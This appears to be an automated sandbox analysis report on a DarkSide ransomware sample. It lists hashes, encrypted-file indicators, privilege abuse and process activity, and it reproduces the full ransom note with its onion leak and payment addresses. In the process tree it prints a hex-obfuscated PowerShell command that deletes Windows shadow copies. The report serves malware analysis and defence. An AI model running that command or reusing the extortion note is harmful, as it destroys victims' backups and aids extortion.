darkside | 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297

General

Target

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Size

17KB
MD5

f87a2e1c3d148a67eaeb696b1ab69133
SHA1

d1dfe82775c1d698dd7861d6dfa1352a74551d35
SHA256

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
SHA512

e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.f001f8d5.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 20 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\CopyReset.raw.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File renamed	C:\Users\Admin\Pictures\MergeUnregister.tiff => C:\Users\Admin\Pictures\MergeUnregister.tiff.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\SplitRedo.png.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File renamed	C:\Users\Admin\Pictures\BlockConvert.png => C:\Users\Admin\Pictures\BlockConvert.png.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\CompleteDisconnect.tiff	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File renamed	C:\Users\Admin\Pictures\CopyReset.raw => C:\Users\Admin\Pictures\CopyReset.raw.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File renamed	C:\Users\Admin\Pictures\JoinOut.tif => C:\Users\Admin\Pictures\JoinOut.tif.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\MergeUnregister.tiff	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File renamed	C:\Users\Admin\Pictures\RestartEdit.raw => C:\Users\Admin\Pictures\RestartEdit.raw.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File renamed	C:\Users\Admin\Pictures\SplitRedo.png => C:\Users\Admin\Pictures\SplitRedo.png.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\BlockConvert.png.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File renamed	C:\Users\Admin\Pictures\CompleteDisconnect.tiff => C:\Users\Admin\Pictures\CompleteDisconnect.tiff.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File renamed	C:\Users\Admin\Pictures\ResolveRegister.tif => C:\Users\Admin\Pictures\ResolveRegister.tif.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\RestartEdit.raw.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\CompleteDisconnect.tiff.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\JoinOut.tif.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\MergeUnregister.tiff.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveRegister.tif.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File renamed	C:\Users\Admin\Pictures\StopEdit.raw => C:\Users\Admin\Pictures\StopEdit.raw.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
File opened for modification	C:\Users\Admin\Pictures\StopEdit.raw.f001f8d5	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exepowershell.exe

pid	process
808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
3612	powershell.exe
3612	powershell.exe
3612	powershell.exe
808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeSecurityPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeTakeOwnershipPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeLoadDriverPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeSystemProfilePrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeSystemtimePrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeProfSingleProcessPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeIncBasePriorityPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeCreatePagefilePrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeBackupPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeRestorePrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeShutdownPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeDebugPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeSystemEnvironmentPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeRemoteShutdownPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeUndockPrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeManageVolumePrivilege	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: 33	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: 34	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: 35	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: 36	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeBackupPrivilege	1600	vssvc.exe
Token: SeRestorePrivilege	1600	vssvc.exe
Token: SeAuditPrivilege	1600	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe

description	pid	process	target process
PID 808 wrote to memory of 3612	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe	powershell.exe
PID 808 wrote to memory of 3612	808	9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe"
1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3612

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1600

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
35041379cc75fcc9fb42ce3e4f901728

SHA1
12051d56c93158131177eb7a8220a1f2a26889bb

SHA256
68f2a1ab7e476374a20349a17c273a9a3a0941d0ac79a7a3823f0e9a8e208f69

SHA512
2d2a3969250afe48905e120f267267230190a566ee82cfcb4f3e3d17bee4d90497555f5a9484a40cfb032eb4f0cf412dbddc35339957a3afe23938520a2e52a5

Download Submit
memory/3612-114-0x0000000000000000-mapping.dmp

Download
memory/3612-119-0x00000164E4D90000-0x00000164E4D91000-memory.dmp

Filesize
4KB

Download
memory/3612-123-0x00000164FD450000-0x00000164FD451000-memory.dmp

Filesize
4KB

Download
memory/3612-132-0x00000164FD440000-0x00000164FD442000-memory.dmp

Filesize
8KB

Download
memory/3612-133-0x00000164FD443000-0x00000164FD445000-memory.dmp

Filesize
8KB

Download
memory/3612-134-0x00000164FD446000-0x00000164FD448000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads